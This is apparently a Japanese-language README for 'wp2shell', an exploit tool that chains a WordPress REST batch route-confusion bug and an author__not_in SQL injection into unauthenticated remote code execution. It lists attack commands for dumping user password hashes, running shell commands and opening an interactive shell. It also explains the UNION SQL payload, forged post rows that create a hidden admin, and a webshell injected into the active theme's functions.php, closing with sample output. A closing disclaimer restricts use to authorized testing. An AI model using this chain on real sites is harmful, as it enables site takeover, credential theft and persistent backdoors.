
CVE-2026-63030 / wp2shell
ワンデイのWordPress RCEエクスプロイトチェーン。認証不要。CVSS 9.8。
依存関係ゼロ — Python 3.8+ 標準ライブラリのみ。
| ブランチ | 影響を受けるバージョン | 修正済み |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
2つのCVEを連鎖させ、認証なしでリモートコード実行(RCE)を実現します:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPressのバッチエンドポイント /?rest_route=/batch/v1 は、サブリクエストの配列を受け付けます。サブリクエストのパスが解析できない場合(///)、WP_Error が $validation に追加されますが、$matches には追加されません。その後のディスパッチループは、リクエスト N をハンドラ N+1 とペアにするため、あるスキーマで検証されたリクエストが、異なるハンドラにディスパッチされることになります。
このエクスプロイトは、3層のネストしたバッチを送信し、各層で位置0にデシンクプライマーを使用してインデックスをずらします。最も内側のリクエスト(GET /wp/v2/posts/999999 として単一投稿アイテムとして検証される)は、コレクションハンドラ(posts->get_items())に到達します。アイテムスキーマが author_exclude を定義していないため、このパラメータは未検証のまま通過します。
get_items() は author_exclude を author__not_in にマッピングし、WP_Query に渡します。author__not_in が(配列ではなく)文字列の場合、array_map('absint', …) のブロックはスキップされます。生の文字列は直接以下のSQLに到達します:
WHERE post_author NOT IN (<payload>)
ペイロード 0) UNION ALL SELECT …-- - は NOT IN リストを閉じ、任意のSQLを追加します。
WordPress 7.0.x の wp_posts は厳密に23列です。UNION ALL SELECT で偽造した行を注入し、orderby=none(末尾の ORDER BY を抑制)と per_page=500(WP_Queryを全行モードに保つ)を指定すると、偽造した投稿タイトル(||HEX|| マーカーを含む)がRESTレスポンスに反映されます。すべての文字列値はMySQLの16進リテラル(0x…)を使用し、URLエンコーディングによるクォートエスケープの問題を回避します。
[embed] ショートコードを含む投稿を偽造 → WordPressが3つの oembed_cache 行を作成するwp_posts 行を偽造する[embed] ショートコードがレンダリングされ、WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() をトリガーするwp2_<random>)とパスワード(Wp2!<random>)で管理者が作成される新しい管理者としてログイン → テーマエディタのnonceを抽出 → トークン保護されたPHPウェブシェルを有効テーマの functions.php の先頭に注入 → ?t=<token>&c=<command> でアクセス。
urllib、json、re、hashlib、secrets、html)wp_remote_post() によるループバックチェックを実行します。コンテナがホスト名で自分自身に到達できない場合、テーマ編集はブロックされます。その場合は --dump-users と手動ログインを使用してください。--check でテストしてください。$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
このツールは、許可されたセキュリティ研究および教育目的のみを対象としています。自分が所有している、またはテストする明示的な許可を得ているシステムに対してのみ使用してください。作者は不正使用について一切の責任を負いません。
| 手順 | CVE | 攻撃ベクトル |
|---|
| 1 | CVE-2026-63030 | REST /batch/v1 のインデックスずれが検証とディスパッチの同期を崩す |
| 2 | CVE-2026-60137 | author__not_in WP_Queryパラメータは文字列として渡すと absint() をスキップする |
| 3 | — | UNION SELECT で wp_posts の行を偽造; oEmbed → customizer → wp_insert_user |
| 4 | — | 新しく作成された管理者として認証する |
| 5 | — | テーマエディタがトークン保護されたウェブシェルを有効テーマに注入する |